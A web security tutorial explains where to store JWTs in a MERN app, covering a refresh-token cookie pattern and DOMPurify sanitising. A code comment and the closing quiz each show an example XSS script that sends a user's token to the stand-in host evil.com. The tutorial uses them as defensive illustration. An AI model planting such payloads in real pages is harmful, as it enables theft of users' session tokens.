Token Storage Options, Security and Refresh Tokens

Where you store a JWT in the browser determines your application’s exposure to two major web security vulnerabilities: XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). localStorage is vulnerable to XSS — any JavaScript running on your page can read it, including malicious scripts injected through user content. HttpOnly cookies are immune to JavaScript access but vulnerable to CSRF if not protected. Understanding these trade-offs and implementing a refresh token pattern with proper cookie configuration is the difference between a secure and an insecure MERN authentication system.

Storage Option Comparison

Storage XSS Risk CSRF Risk Persistence Verdict
localStorage High — JS readable None — not auto-sent Until cleared Simple but XSS risk
sessionStorage High — JS readable None Tab session only Better than localStorage, same XSS risk
Memory (JS variable) None — not persistent None Page reload loses it Safest but bad UX
HttpOnly Cookie None — not JS readable Medium — auto-sent Configurable Best for refresh token
HttpOnly + SameSite=Strict None None Configurable Best overall for refresh token
Note: For the MERN Blog as a learning project, localStorage is acceptable — but you should understand its risks. In a production application handling real users, the recommended pattern is: access token in memory (React state — lost on refresh, short-lived 15min) and refresh token in an HttpOnly cookie (not JS-accessible, longer-lived 30d). On app load, the client silently requests a new access token using the refresh token cookie — restoring the session without user interaction.
Tip: The SameSite=Strict cookie attribute blocks the cookie from being sent on cross-origin requests entirely, which eliminates CSRF. SameSite=Lax (the browser default) allows the cookie on top-level navigations but blocks it on cross-origin requests initiated by forms and XHR. For an API and SPA on different origins, use SameSite=None; Secure with a CSRF token or SameSite=Strict if they share the same domain.
Warning: XSS is a more practical threat for most MERN apps than CSRF. If your React app renders user-generated content (post bodies) using dangerouslySetInnerHTML without sanitising it, an attacker can inject a <script> tag that reads localStorage and sends the token to their server. Always sanitise HTML content before rendering it — use the DOMPurify library: { __html: DOMPurify.sanitize(post.body) }.

The Refresh Token Pattern

Access Token:  short-lived (15 min), stored in memory (React state)
Refresh Token: long-lived (30 days), stored in HttpOnly cookie

Flow:
  Login:
    1. POST /api/auth/login → server issues both tokens
    2. Access token in response body → stored in React state (AuthContext)
    3. Refresh token set as HttpOnly cookie by server
    4. React uses access token for API calls

  Access token expires (15 min later):
    1. Protected API call returns 401
    2. Axios interceptor catches 401
    3. Interceptor calls POST /api/auth/refresh (cookie sent automatically)
    4. Server verifies refresh token cookie → issues new access token
    5. Interceptor retries the original request with the new access token
    6. User never knows the token refreshed

  Logout:
    1. POST /api/auth/logout → server clears the refresh token cookie
    2. React clears the access token from memory
    3. User is logged out on all actions
// server/src/controllers/authController.js

const sendTokenResponse = (res, statusCode, user, message) => {
  const accessToken  = signAccessToken(user._id, user.role);
  const refreshToken = signRefreshToken(user._id);

  // Set refresh token as HttpOnly cookie
  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,    // not accessible via JavaScript
    secure:   process.env.NODE_ENV === 'production', // HTTPS only in production
    sameSite: 'strict',
    maxAge:   30 * 24 * 60 * 60 * 1000, // 30 days in milliseconds
    path:     '/api/auth', // only sent to /api/auth/* endpoints
  });

  // Return access token in response body (stored in memory by React)
  res.status(statusCode).json({
    success: true,
    message,
    token: accessToken, // short-lived access token
    data: { _id: user._id, name: user.name, email: user.email, role: user.role },
  });
};

// Refresh endpoint — issues new access token using refresh cookie
const refresh = asyncHandler(async (req, res) => {
  const refreshToken = req.cookies.refreshToken;
  if (!refreshToken) throw new AppError('No refresh token', 401);

  const decoded = verifyRefreshToken(refreshToken); // throws if invalid/expired
  const user    = await User.findById(decoded.id);
  if (!user) throw new AppError('User no longer exists', 401);

  const newAccessToken = signAccessToken(user._id, user.role);
  res.json({ success: true, token: newAccessToken });
});

// Logout — clear the cookie
const logout = asyncHandler(async (req, res) => {
  res.cookie('refreshToken', '', {
    httpOnly: true,
    expires:  new Date(0), // expire immediately
  });
  res.json({ success: true, message: 'Logged out successfully' });
});

XSS Protection — Sanitising User Content

// client — install DOMPurify
// npm install dompurify

import DOMPurify from 'dompurify';

// Render post body safely — sanitise before using dangerouslySetInnerHTML
function PostBody({ html }) {
  const sanitised = DOMPurify.sanitize(html, {
    ALLOWED_TAGS:  ['p', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'strong', 'em', 'code', 'pre'],
    ALLOWED_ATTR:  ['href', 'class'],
    FORBID_TAGS:   ['script', 'style', 'iframe', 'object'],
  });
  return <div dangerouslySetInnerHTML={{ __html: sanitised }} />;
}

// If you do not sanitise:
// A post with body: <script>fetch('https://evil.com?token='+localStorage.getItem('token'))</script>
// Will run the script and exfiltrate the JWT to the attacker's server!

Common Mistakes

Mistake 1 — Using dangerouslySetInnerHTML without sanitising

❌ Wrong — user-submitted HTML rendered directly:

<div dangerouslySetInnerHTML={{ __html: post.body }} />
// Malicious post body can run arbitrary JavaScript — XSS attack

✅ Correct — always sanitise before rendering:

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.body) }} /> // ✓

Mistake 2 — Not setting secure: true on production cookies

❌ Wrong — refresh token cookie sent over HTTP in production:

res.cookie('refreshToken', token, { httpOnly: true });
// Cookie sent over plain HTTP → token visible in transit!

✅ Correct — secure in production:

res.cookie('refreshToken', token, {
  httpOnly: true,
  secure:   process.env.NODE_ENV === 'production', // ✓
  sameSite: 'strict',
});

❌ Wrong — req.cookies is undefined because cookie-parser is not used:

// Express does not parse cookies by default
const refreshToken = req.cookies.refreshToken; // undefined!

✅ Correct — add cookie-parser middleware:

npm install cookie-parser
const cookieParser = require('cookie-parser');
app.use(cookieParser()); // ✓ now req.cookies is populated

Quick Reference

Task Code
Set HttpOnly cookie res.cookie('refreshToken', token, { httpOnly: true, secure: true, sameSite: 'strict' })
Read cookie in Express req.cookies.refreshToken (needs cookie-parser)
Clear cookie on logout res.cookie('refreshToken', '', { httpOnly: true, expires: new Date(0) })
Sanitise HTML output DOMPurify.sanitize(html)
Refresh token endpoint POST /api/auth/refresh — reads cookie, returns new access token

🧠 Test Yourself

A malicious user creates a blog post with the body <script>document.location='https://evil.com?t='+localStorage.token</script>. The MERN Blog renders post bodies with dangerouslySetInnerHTML={{ __html: post.body }}. What happens when another user visits this post?